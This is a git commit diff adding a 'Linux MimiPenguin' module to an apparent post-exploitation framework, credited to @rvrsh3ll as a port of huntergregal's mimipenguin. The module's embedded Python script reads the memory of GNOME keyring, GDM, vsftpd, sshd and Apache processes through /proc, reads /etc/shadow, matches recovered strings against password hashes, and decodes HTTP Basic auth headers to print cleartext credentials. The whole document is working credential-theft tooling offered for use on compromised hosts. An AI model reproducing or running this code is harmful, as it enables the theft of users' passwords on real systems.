Add mimipenguin
parent
b3b80cb6a8
commit
517508d0d6
|
@ -0,0 +1,312 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'Linux MimiPenguin',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['@rvrsh3ll'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': ("Port of huntergregal mimipenguin. Harvest's current user's cleartext credentials."),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background' : False,
|
||||
|
||||
# File extension to save the file as
|
||||
'OutputExtension' : "",
|
||||
|
||||
# if the module needs administrative privileges
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe' : True,
|
||||
|
||||
# the module language
|
||||
'Language' : 'python',
|
||||
|
||||
# the minimum language version needed
|
||||
'MinLanguageVersion' : '2.6',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': []
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
# The 'Agent' option is the only one that MUST be in a module
|
||||
'Description' : 'Agent to execute module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters
|
||||
# are passed as an object set to the module and the
|
||||
# options dictionary is automatically set. This is mostly
|
||||
# in case options are passed on the command line
|
||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
script = """
|
||||
from __future__ import print_function
|
||||
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import base64
|
||||
import binascii
|
||||
import crypt
|
||||
import string
|
||||
|
||||
|
||||
def running_as_root():
|
||||
return os.geteuid() == 0
|
||||
|
||||
|
||||
def get_linux_distribution():
|
||||
try:
|
||||
return platform.dist()[0].lower()
|
||||
except IndexError:
|
||||
return str()
|
||||
|
||||
|
||||
def compute_hash(ctype, salt, password):
|
||||
return crypt.crypt(password, '{}{}'.format(ctype, salt))
|
||||
|
||||
|
||||
def strings(s, min_length=4):
|
||||
strings_result = list()
|
||||
result = str()
|
||||
|
||||
for c in s:
|
||||
try:
|
||||
c = chr(c)
|
||||
except TypeError:
|
||||
# In Python 2, c is already a chr
|
||||
pass
|
||||
if c in string.printable:
|
||||
result += c
|
||||
else:
|
||||
if len(result) >= min_length:
|
||||
strings_result.append(result)
|
||||
result = str()
|
||||
|
||||
return strings_result
|
||||
|
||||
|
||||
def dump_process(pid):
|
||||
dump_result = bytes()
|
||||
|
||||
with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
|
||||
for l in maps_file.readlines():
|
||||
memrange, attributes = l.split(' ')[:2]
|
||||
if attributes.startswith('r'):
|
||||
memrange_start, memrange_stop = [
|
||||
int(x, 16) for x in memrange.split('-')]
|
||||
memrange_size = memrange_stop - memrange_start
|
||||
with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
|
||||
try:
|
||||
mem_file.seek(memrange_start)
|
||||
dump_result += mem_file.read(memrange_size)
|
||||
except (OSError, ValueError, IOError, OverflowError):
|
||||
pass
|
||||
|
||||
return dump_result
|
||||
|
||||
|
||||
def find_pid(process_name):
|
||||
pids = list()
|
||||
|
||||
for pid in os.listdir('/proc'):
|
||||
try:
|
||||
with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file:
|
||||
if process_name in cmdline_file.read().decode():
|
||||
pids.append(pid)
|
||||
except IOError:
|
||||
continue
|
||||
|
||||
return pids
|
||||
|
||||
|
||||
class PasswordFinder:
|
||||
_hash_re = r'^\$.\$.+$'
|
||||
|
||||
def __init__(self):
|
||||
self._potential_passwords = list()
|
||||
self._strings_dump = list()
|
||||
self._found_hashes = list()
|
||||
|
||||
def _dump_target_processes(self):
|
||||
target_pids = list()
|
||||
for target_process in self._target_processes:
|
||||
target_pids += find_pid(target_process)
|
||||
for target_pid in target_pids:
|
||||
self._strings_dump += strings(dump_process(target_pid))
|
||||
|
||||
def _find_hash(self):
|
||||
for s in self._strings_dump:
|
||||
if re.match(PasswordFinder._hash_re, s):
|
||||
self._found_hashes.append(s)
|
||||
|
||||
def _find_potential_passwords(self):
|
||||
for needle in self._needles:
|
||||
needle_indexes = [i for i, s in enumerate(self._strings_dump)
|
||||
if re.search(needle, s)]
|
||||
for needle_index in needle_indexes:
|
||||
self._potential_passwords += self._strings_dump[
|
||||
needle_index - 10:needle_index + 10]
|
||||
self._potential_passwords = list(set(self._potential_passwords))
|
||||
|
||||
def _try_potential_passwords(self):
|
||||
valid_passwords = list()
|
||||
found_hashes = list()
|
||||
pw_hash_to_user = dict()
|
||||
|
||||
if self._found_hashes:
|
||||
found_hashes = self._found_hashes
|
||||
with open('/etc/shadow', 'r') as f:
|
||||
for l in f.readlines():
|
||||
user, pw_hash = l.split(':')[:2]
|
||||
if not re.match(PasswordFinder._hash_re, pw_hash):
|
||||
continue
|
||||
found_hashes.append(pw_hash)
|
||||
pw_hash_to_user[pw_hash] = user
|
||||
|
||||
found_hashes = list(set(found_hashes))
|
||||
|
||||
for found_hash in found_hashes:
|
||||
ctype = found_hash[:3]
|
||||
salt = found_hash.split('$')[2]
|
||||
for potential_password in self._potential_passwords:
|
||||
potential_hash = compute_hash(ctype, salt, potential_password)
|
||||
if potential_hash == found_hash:
|
||||
try:
|
||||
valid_passwords.append(
|
||||
(pw_hash_to_user[found_hash], potential_password))
|
||||
except KeyError:
|
||||
valid_passwords.append(
|
||||
('<unknown user>', potential_password))
|
||||
|
||||
return valid_passwords
|
||||
|
||||
def dump_passwords(self):
|
||||
self._dump_target_processes()
|
||||
self._find_hash()
|
||||
self._find_potential_passwords()
|
||||
|
||||
return self._try_potential_passwords()
|
||||
|
||||
|
||||
class GdmPasswordFinder(PasswordFinder):
|
||||
def __init__(self):
|
||||
PasswordFinder.__init__(self)
|
||||
self._source_name = '[SYSTEM - GNOME]'
|
||||
self._target_processes = ['gdm-password']
|
||||
self._needles = ['^_pammodutil_getpwnam_root_1$',
|
||||
'^gkr_system_authtok$']
|
||||
|
||||
|
||||
class GnomeKeyringPasswordFinder(PasswordFinder):
|
||||
def __init__(self):
|
||||
PasswordFinder.__init__(self)
|
||||
self._source_name = '[SYSTEM - GNOME]'
|
||||
self._target_processes = ['gnome-keyring-daemon']
|
||||
self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$']
|
||||
|
||||
|
||||
class VsftpdPasswordFinder(PasswordFinder):
|
||||
def __init__(self):
|
||||
PasswordFinder.__init__(self)
|
||||
self._source_name = '[SYSTEM - VSFTPD]'
|
||||
self._target_processes = ['vsftpd']
|
||||
self._needles = [
|
||||
r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$']
|
||||
|
||||
|
||||
class SshdPasswordFinder(PasswordFinder):
|
||||
def __init__(self):
|
||||
PasswordFinder.__init__(self)
|
||||
self._source_name = '[SYSTEM - SSH]'
|
||||
self._target_processes = ['sshd:']
|
||||
self._needles = [r'^sudo.+']
|
||||
|
||||
|
||||
class ApachePasswordFinder(PasswordFinder):
|
||||
def __init__(self):
|
||||
PasswordFinder.__init__(self)
|
||||
self._source_name = '[HTTP BASIC - APACHE2]'
|
||||
self._target_processes = ['apache2']
|
||||
self._needles = [r'^Authorization: Basic.+']
|
||||
|
||||
def _try_potential_passwords(self):
|
||||
valid_passwords = list()
|
||||
|
||||
for potential_password in self._potential_passwords:
|
||||
try:
|
||||
potential_password = base64.b64decode(potential_password)
|
||||
except binascii.Error:
|
||||
continue
|
||||
else:
|
||||
try:
|
||||
user, password = potential_password.split(':', maxsplit=1)
|
||||
valid_passwords.append((user, password))
|
||||
except IndexError:
|
||||
continue
|
||||
|
||||
return valid_passwords
|
||||
|
||||
def dump_passwords(self):
|
||||
self._dump_target_processes()
|
||||
self._find_potential_passwords()
|
||||
|
||||
return self._try_potential_passwords()
|
||||
|
||||
|
||||
def main():
|
||||
if not running_as_root():
|
||||
raise RuntimeError('mimipenguin should be ran as root')
|
||||
|
||||
password_finders = list()
|
||||
|
||||
if find_pid('gdm-password'):
|
||||
password_finders.append(GdmPasswordFinder())
|
||||
if find_pid('gnome-keyring-daemon'):
|
||||
password_finders.append(GnomeKeyringPasswordFinder())
|
||||
if os.path.isfile('/etc/vsftpd.conf'):
|
||||
password_finders.append(VsftpdPasswordFinder())
|
||||
if os.path.isfile('/etc/ssh/sshd_config'):
|
||||
password_finders.append(SshdPasswordFinder())
|
||||
if os.path.isfile('/etc/apache2/apache2.conf'):
|
||||
password_finders.append(ApachePasswordFinder())
|
||||
|
||||
for password_finder in password_finders:
|
||||
for valid_passwords in password_finder.dump_passwords():
|
||||
print('{}\t{}:{}'.format(password_finder._source_name,
|
||||
valid_passwords[0], valid_passwords[1]))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
"""
|
||||
|
||||
return script
|
||||
|
Loading…
Reference in New Issue